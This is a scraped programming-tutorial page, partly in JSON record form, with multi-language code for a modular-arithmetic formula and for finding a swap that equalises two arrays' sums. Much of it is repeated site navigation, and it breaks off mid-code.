p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit.Output:6\nMy Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 37629, "s": 37578, "text": "Below is the implementation of the above approach:" }, { "code": null, "e": 37633, "s": 37629, "text": "C++" }, { "code": null, "e": 37638, "s": 37633, "text": "Java" }, { "code": null, "e": 37646, "s": 37638, "text": "Python3" }, { "code": null, "e": 37649, "s": 37646, "text": "C#" }, { "code": "// C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << \"\\n\";}", "e": 38359, "s": 37649, "text": null }, { "code": "// Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-Ji", "e": 39096, "s": 38359, "text": null }, { "code": "# Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit Kumar", "e": 39670, "s": 39096, "text": null }, { "code": "// C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit.", "e": 40412, "s": 39670, "text": null }, { "code": null, "e": 40415, "s": 40412, "text": "6\n" }, { "code": null, "e": 40430, "s": 40415, "text": "mohit kumar 29" }, { "code": null, "e": 40440, "s": 40430, "text": "Rajput-Ji" }, { "code": null, "e": 40446, "s": 40440, "text": "jit_t" }, { "code": null, "e": 40460, "s": 40446, "text": "number-theory" }, { "code": null, "e": 40467, "s": 40460, "text": "subset" }, { "code": null, "e": 40480, "s": 40467, "text": "Mathematical" }, { "code": null, "e": 40494, "s": 40480, "text": "number-theory" }, { "code": null, "e": 40507, "s": 40494, "text": "Mathematical" }, { "code": null, "e": 40514, "s": 40507, "text": "subset" }, { "code": null, "e": 40612, "s": 40514, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 40656, "s": 40612, "text": "Program to print prime numbers from 1 to N." }, { "code": null, "e": 40698, "s": 40656, "text": "Segment Tree | Set 1 (Sum of given range)" }, { "code": null, "e": 40769, "s": 40698, "text": "Count all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 40800, "s": 40769, "text": "Modular multiplicative inverse" }, { "code": null, "e": 40833, "s": 40800, "text": "Program to multiply two matrices" }, { "code": null, "e": 40858, "s": 40833, "text": "Fizz Buzz Implementation" }, { "code": null, "e": 40890, "s": 40858, "text": "Check if a number is Palindrome" }, { "code": null, "e": 40925, "s": 40890, "text": "Count ways to reach the n'th stair" }, { "code": null, "e": 40971, "s": 40925, "text": "Merge two sorted arrays with O(1) extra space" } ]
Find a pair of elements swapping which makes sum of two arrays same - GeeksforGeeks
CoursesFor Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore MoreFor StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore MoreSchool CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore moreAll Courses For Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More LIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore More DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More Self-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More For StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More LIVECompetitive ProgrammingData Structures with C++Data ScienceExplore More Competitive Programming Data Structures with C++ Data Science Explore More Self-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More DSA- Self Paced CIP JAVA / Python / C++ Explore More School CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore more School Guide Python Programming Learn To Make Apps Explore more All Courses TutorialsAlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll AlgorithmsData StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data StructuresInterview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice QuizzesLanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlinML & Data ScienceMachine LearningData ScienceCS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware EngineeringGATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CSWeb TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHPSoftware DesignsSoftware Design PatternsSystem Design TutorialSchool LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesCS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved PapersStudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsStudent ChapterGeek on the TopInternshipCareers AlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll Algorithms Analysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity Question Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Data StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Interview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice Quizzes Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes LanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlin C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin ML & Data ScienceMachine LearningData Science Machine Learning Data Science CS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware Engineering Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering GATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CS GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS Web TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHP HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP Software DesignsSoftware Design PatternsSystem Design Tutorial Software Design Patterns System Design Tutorial School LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes School Programming MathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculus Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Maths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes NCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution RD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Physics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes CS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers ISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer Exam ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam UGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers StudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsStudent ChapterGeek on the TopInternshipCareers Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Student Chapter Geek on the Top Internship Careers JobsApply for JobsPost a JobJOB-A-THON Apply for Jobs Post a Job JOB-A-THON PracticeAll DSA ProblemsProblem of the DayInterview Series: Weekly ContestsBi-Wizard Coding: School ContestsContests and EventsPractice SDE SheetCurated DSA ListsTop 50 Array ProblemsTop 50 String ProblemsTop 50 Tree ProblemsTop 50 Graph ProblemsTop 50 DP Problems All DSA Problems Problem of the Day Interview Series: Weekly Contests Bi-Wizard Coding: School Contests Contests and Events Practice SDE Sheet Curated DSA ListsTop 50 Array ProblemsTop 50 String ProblemsTop 50 Tree ProblemsTop 50 Graph ProblemsTop 50 DP Problems Top 50 Array Problems Top 50 String Problems Top 50 Tree Problems Top 50 Graph Problems Top 50 DP Problems WriteCome write articles for us and get featuredPracticeLearn and code with the best industry expertsPremiumGet access to ad-free content, doubt assistance and more!JobsCome and find your dream job with usGeeks DigestQuizzesGeeks CampusGblog ArticlesIDECampus Mantri Geeks Digest Quizzes Geeks Campus Gblog Articles IDE Campus Mantri Sign In Sign In Home Saved Videos Courses For Working Professionals LIVE DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More Self-Paced DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More For Students LIVE Competitive Programming Data Structures with C++ Data Science Explore More Self-Paced DSA- Self Paced CIP JAVA / Python / C++ Explore More School Courses School Guide Python Programming Learn To Make Apps Explore more Algorithms Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Analysis of Algorithms Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Interview Corner Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes Languages C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin ML & Data Science Machine Learning Data Science CS Subjects Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering GATE GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS Web Technologies HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP Software Designs Software Design Patterns System Design Tutorial School Learning School Programming Mathematics Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Maths Notes (Class 8-12) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes NCERT Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution RD Sharma Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Physics Notes (Class 8-11) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes CS Exams/PSUs ISRO ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam UGC NET UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers Student Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Student Chapter Geek on the Top Internship Careers Curated DSA Lists Top 50 Array Problems Top 50 String Problems Top 50 Tree Problems Top 50 Graph Problems Top 50 DP Problems Tutorials Jobs Apply for Jobs Post a Job JOB-A-THON Practice All DSA Problems Problem of the Day Interview Series: Weekly Contests Bi-Wizard Coding: School Contests Contests and Events Practice SDE Sheet For Working Professionals LIVE DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More Self-Paced DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More For Students LIVE Competitive Programming Data Structures with C++ Data Science Explore More Competitive Programming Data Structures with C++ Data Science Explore More Self-Paced DSA- Self Paced CIP JAVA / Python / C++ Explore More DSA- Self Paced CIP JAVA / Python / C++ Explore More School Courses School Guide Python Programming Learn To Make Apps Explore more School Guide Python Programming Learn To Make Apps Explore more Algorithms Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Analysis of Algorithms Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Interview Corner Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes Languages C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin ML & Data Science Machine Learning Data Science Machine Learning Data Science CS Subjects Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering GATE GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS Web Technologies HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP Software Designs Software Design Patterns System Design Tutorial Software Design Patterns System Design Tutorial School Learning School Programming School Programming Mathematics Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Maths Notes (Class 8-12) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes NCERT Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution RD Sharma Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Physics Notes (Class 8-11) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes CS Exams/PSUs ISRO ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam UGC NET UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers Student Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Student Chapter Geek on the Top Internship Careers Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Student Chapter Geek on the Top Internship Careers Curated DSA Lists Top 50 Array Problems Top 50 String Problems Top 50 Tree Problems Top 50 Graph Problems Top 50 DP Problems Top 50 Array Problems Top 50 String Problems Top 50 Tree Problems Top 50 Graph Problems Top 50 DP Problems Tutorials Jobs Apply for Jobs Post a Job JOB-A-THON Apply for Jobs Post a Job JOB-A-THON Practice All DSA Problems Problem of the Day Interview Series: Weekly Contests Bi-Wizard Coding: School Contests Contests and Events Practice SDE Sheet All DSA Problems Problem of the Day Interview Series: Weekly Contests Bi-Wizard Coding: School Contests Contests and Events Practice SDE Sheet GBlog Puzzles What's New ? Array Matrix Strings Hashing Linked List Stack Queue Binary Tree Binary Search Tree Heap Graph Searching Sorting Divide & Conquer Mathematical Geometric Bitwise Greedy Backtracking Branch and Bound Dynamic Programming Pattern Searching Randomized Find a pair of elements swapping which makes sum of two arrays same Count distinct elements in every window of size k Convert a given tree to its Sum Tree Change a Binary Tree so that every node stores sum of all nodes in left subtree Convert a Binary Tree into its Mirror Tree Check if two trees are Mirror Iterative method to check if two trees are mirror of each other Iterative function to check if two trees are identical Write Code to Determine if Two Trees are Identical Write a Program to Find the Maximum Depth or Height of a Tree Iterative Method to find Height of Binary Tree N Queen Problem | Backtracking-3 Printing all solutions in N-Queen Problem Warnsdorff’s algorithm for Knight’s tour problem The Knight’s tour problem | Backtracking-1 Rat in a Maze | Backtracking-2 Count number of ways to reach destination in a Maze Count all possible paths from top left to bottom right of a mXn matrix Print all possible paths from top left to bottom right of a mXn matrix Unique paths in a Grid with Obstacles Unique paths covering every non-obstacle block exactly once in a grid Depth First Search or DFS for a Graph Breadth First Search or BFS for a Graph Level Order Binary Tree Traversal Tree Traversals (Inorder, Preorder and Postorder) Arrays in Java Write a program to reverse an array or string Largest Sum Contiguous Subarray Program for array rotation Arrays in C/C++ Find a pair of elements swapping which makes sum of two arrays same Count distinct elements in every window of size k Convert a given tree to its Sum Tree Change a Binary Tree so that every node stores sum of all nodes in left subtree Convert a Binary Tree into its Mirror Tree Check if two trees are Mirror Iterative method to check if two trees are mirror of each other Iterative function to check if two trees are identical Write Code to Determine if Two Trees are Identical Write a Program to Find the Maximum Depth or Height of a Tree Iterative Method to find Height of Binary Tree N Queen Problem | Backtracking-3 Printing all solutions in N-Queen Problem Warnsdorff’s algorithm for Knight’s tour problem The Knight’s tour problem | Backtracking-1 Rat in a Maze | Backtracking-2 Count number of ways to reach destination in a Maze Count all possible paths from top left to bottom right of a mXn matrix Print all possible paths from top left to bottom right of a mXn matrix Unique paths in a Grid with Obstacles Unique paths covering every non-obstacle block exactly once in a grid Depth First Search or DFS for a Graph Breadth First Search or BFS for a Graph Level Order Binary Tree Traversal Tree Traversals (Inorder, Preorder and Postorder) Arrays in Java Write a program to reverse an array or string Largest Sum Contiguous Subarray Program for array rotation Arrays in C/C++ Difficulty Level : Medium Given two arrays of integers, find a pair of values (one value from each array) that you can swap to give the two arrays the same sum.Examples: Input: A[] = {4, 1, 2, 1, 1, 2}, B[] = (3, 6, 3, 3) Output: {1, 3} Sum of elements in A[] = 11 Sum of elements in B[] = 15 To get same sum from both arrays, we can swap following values: 1 from A[] and 3 from B[]Input: A[] = {5, 7, 4, 6}, B[] = {1, 2, 3, 8} Output: 6 2 Method 1 (Naive Implementation): Iterate through the arrays and check all pairs of values. Compare new sums or look for a pair with that difference. Chapters descriptions off, selected captions settings, opens captions settings dialog captions off, selected English This is a modal window. Beginning of dialog window. Escape will cancel and close the window. End of dialog window. C++ Java Python3 C# PHP Javascript // CPP code naive solution to find a pair swapping// which makes sum of arrays sum.#include <iostream>using namespace std; // Function to calculate sum of elements of arrayint getSum(int X[], int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} void findSwapValues(int A[], int n, int B[], int m){ // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 int newsum1, newsum2, val1, val2; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } cout << val1 << " " << val2;} // Driver codeint main(){ int A[] = { 4, 1, 2, 1, 1, 2 }; int n = sizeof(A) / sizeof(A[0]); int B[] = { 3, 6, 3, 3 }; int m = sizeof(B) / sizeof(B[0]); // Call to function findSwapValues(A, n, B, m); return 0;} // Java program to find a pair swapping// which makes sum of arrays sumimport java.io.*; class GFG{ // Function to calculate sum of elements of array static int getSum(int X[], int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to prints elements to be swapped static void findSwapValues(int A[], int n, int B[], int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 int newsum1, newsum2, val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } System.out.println(val1+" "+val2); } // driver program public static void main (String[] args) { int A[] = { 4, 1, 2, 1, 1, 2 }; int n = A.length; int B[] = { 3, 6, 3, 3 }; int m = B.length; // Call to function findSwapValues(A, n, B, m); }} // Contributed by Pramod Kumar # Python code naive solution to find a pair swapping# which makes sum of lists sum. # Function to calculate sum of elements of listdef getSum(X): sum=0 for i in X: sum+=i return sum # Function to prints elements to be swappeddef findSwapValues(A,B): # Calculation if sums from both lists sum1=getSum(A) sum2=getSum(B) # Boolean variable used to reduce further iterations # after the pair is found k=False # Lool for val1 and val2, such that # sumA - val1 + val2 = sumB -val2 + val1 val1,val2=0,0 for i in A: for j in B: newsum1=sum1-i+j newsum2=sum2-j+i if newsum1 ==newsum2: val1=i val2=j # Set to True when pair is found k=True break # If k is True, it means pair is found. # So, no further iterations. if k==True: break print (val1,val2) return # Driver codeA=[4,1,2,1,1,2]B=[3,6,3,3] # Call to functionfindSwapValues(A,B) # code contributed by sachin bisht // C# program to find a pair swapping// which makes sum of arrays sumusing System; class GFG{// Function to calculate sum// of elements of arraystatic int getSum(int[] X, int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} // Function to prints elements// to be swappedstatic void findSwapValues(int[] A, int n, int[] B, int m){ // Calculation of sums from // both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 int newsum1, newsum2, val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } Console.Write(val1 + " " + val2);} // Driver Codepublic static void Main (){ int[] A = 